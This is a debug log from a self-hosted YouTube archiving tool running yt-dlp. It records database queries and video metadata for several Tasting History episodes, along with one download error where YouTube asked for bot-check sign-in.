short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9882] 02:51:13.168 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", "id" => "i3L1g62Sy58", "original_url" => "https://www.youtube.com/watch?v=i3L1g62Sy58", "playlist_index" => 6, "title" => "What Did the Builders of Stonehenge Eat?", "upload_date" => "20260217"} 02:51:13.169 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:13.169 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:13.171 [debug] QUERY OK source="media_items" db=1.4ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 3] 02:51:13.173 [debug] QUERY OK source="media_items" db=1.6ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "6411be47-b0fd-49ab-b314-2e235667692f", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", false, false, 6, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, false, 3, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-29 06:51:13Z], ~U[2026-03-29 06:51:13Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nWatch Anthony Clarke discuss the origins of the Altar Stone: \u00A0\u00A0\u00A0•\u00A0Online\u00A0Talk:\u00A0A\u00A0Scottish\u00A0provenance\u00A0for\u00A0the...\u00A0\u00A0\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nStonehenge - By garethwiscombe - https://www.flickr.com/photos/garethw..., CC BY 2.0, https://commons.wikimedia.org/w/index...\nDurrington Walls - By Ethan Doyle White - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nLidar view of Knowlton - By Dr John Wells - Own work, CC BY 4.0, https://commons.wikimedia.org/w/index...\nAurochs Skeleton - By Marcus Sümnick from Rostock, Germany - Aurochs Uploaded by FunkMonk, CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nHazelnuts - By Ivar Leidus - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAvebury - By MikPeach - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMayburg Henge - By Chazza114 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nAn aerial view of the henge site and cairn on Cairnpapple Hill in West Lothian - By Dr John Wells - https://web.archive.org/web/201301191..., CC BY 3.0, https://commons.wikimedia.org/w/index...\nWoodhenge - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDitch at Avebury - CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nPreseli Hills - By Tony Holkham at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nAltar Stone - By The Stones of Stonehenge - http://www.stonesofstonehenge.org.uk, CC BY 4.0, https://commons.wikimedia.org/w/index...\nOrcadian Basin - By Mikenorton - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "What Did the Builders of Stonehenge Eat?", "i3L1g62Sy58", "https://www.youtube.com/watch?v=i3L1g62Sy58", nil, false, "/downloads/Tasting History with Max Miller/2026-02-17 What Did the Builders of Stonehenge Eat?/What Did the Builders of Stonehenge Eat? [i3L1g62Sy58].NA", false, 3, ~U[2026-02-17 00:00:00Z]] 02:51:13.174 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:13.174 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:13.175 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9353] 02:51:13.175 [debug] Current batch of media processed. Will check again in 1000ms 02:51:14.175 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "filename" => "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", "id" => "99yi0FRF4uM", "original_url" => "https://www.youtube.com/watch?v=99yi0FRF4uM", "playlist_index" => 7, "title" => "The History of Gumbo in New Orleans", "upload_date" => "20260210"} 02:51:14.176 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:14.176 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:14.178 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 00:00:00Z], 3] 02:51:14.219 [debug] QUERY OK source="media_items" db=40.5ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "e40ec4cd-4d19-49e3-a6e7-389957ebc8e3", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", false, false, 7, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, false, 3, [], 98, ~U[2026-02-10 00:00:00Z], ~U[2026-03-29 06:51:14Z], ~U[2026-03-29 06:51:14Z], "Get up to 40% off your first order at\nhttps://drinktrade.com/maxmiller \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nOkra Cross Section - By Prathyush Thomas - Own work, GFDL 1.2, https://commons.wikimedia.org/w/index...\nOkra Growing - By Earth100 - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nSassafras leaves - By Randy Everette - Imported from 500px (archived version) by the Archive Team. (detail page), CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory #gumbo", "The History of Gumbo in New Orleans", "99yi0FRF4uM", "https://www.youtube.com/watch?v=99yi0FRF4uM", nil, false, "/downloads/Tasting History with Max Miller/2026-02-10 The History of Gumbo in New Orleans/The History of Gumbo in New Orleans [99yi0FRF4uM].NA", false, 3, ~U[2026-02-10 00:00:00Z]] 02:51:14.220 [debug] QUERY OK source="sources" db=0.2ms idle=518.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:14.220 [debug] QUERY OK source="media_profiles" db=0.2ms idle=44.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:14.221 [debug] QUERY OK source="media_items" db=0.3ms idle=44.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8815] 02:51:14.221 [debug] Current batch of media processed. Will check again in 1000ms 02:51:14.253 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4a/7a/4a7ab3da597ba58e5484cbe13b7de7e6b68cd96ec79565a957509f38b99607eb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 02:51:14.253 [error] yt-dlp download error for media item #11535: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:14.253 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] t1O1hcixZDU: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 02:51:14.254 [info] {"args":{"id":11535},"id":1696,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2255649,"event":"job:stop","queue_time":997467,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:51:14.993 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:15.222 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thanks to Opera Browser for sponsoring this video. Download here - https://opr.as/Opera-browser-tastingh...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nKangaroo Meat - Maksym Kozlenko, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2026-02-03 Cooking Kangaroo on the World War 2 Australian Home Front/Cooking Kangaroo on the World War 2 Australian Home Front [myvdVmaa0GE].NA", "id" => "myvdVmaa0GE", "original_url" => "https://www.youtube.com/watch?v=myvdVmaa0GE", "playlist_index" => 8, "title" => "Cooking Kangaroo on the World War 2 Australian Home Front", "upload_date" => "20260203"} 02:51:15.223 [debug] QUERY OK source="sources" db=0.3ms idle=1001.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:15.223 [debug] QUERY OK source="sources" db=0.1ms idle=969.0ms SELECT s0."id", s0."enabled", 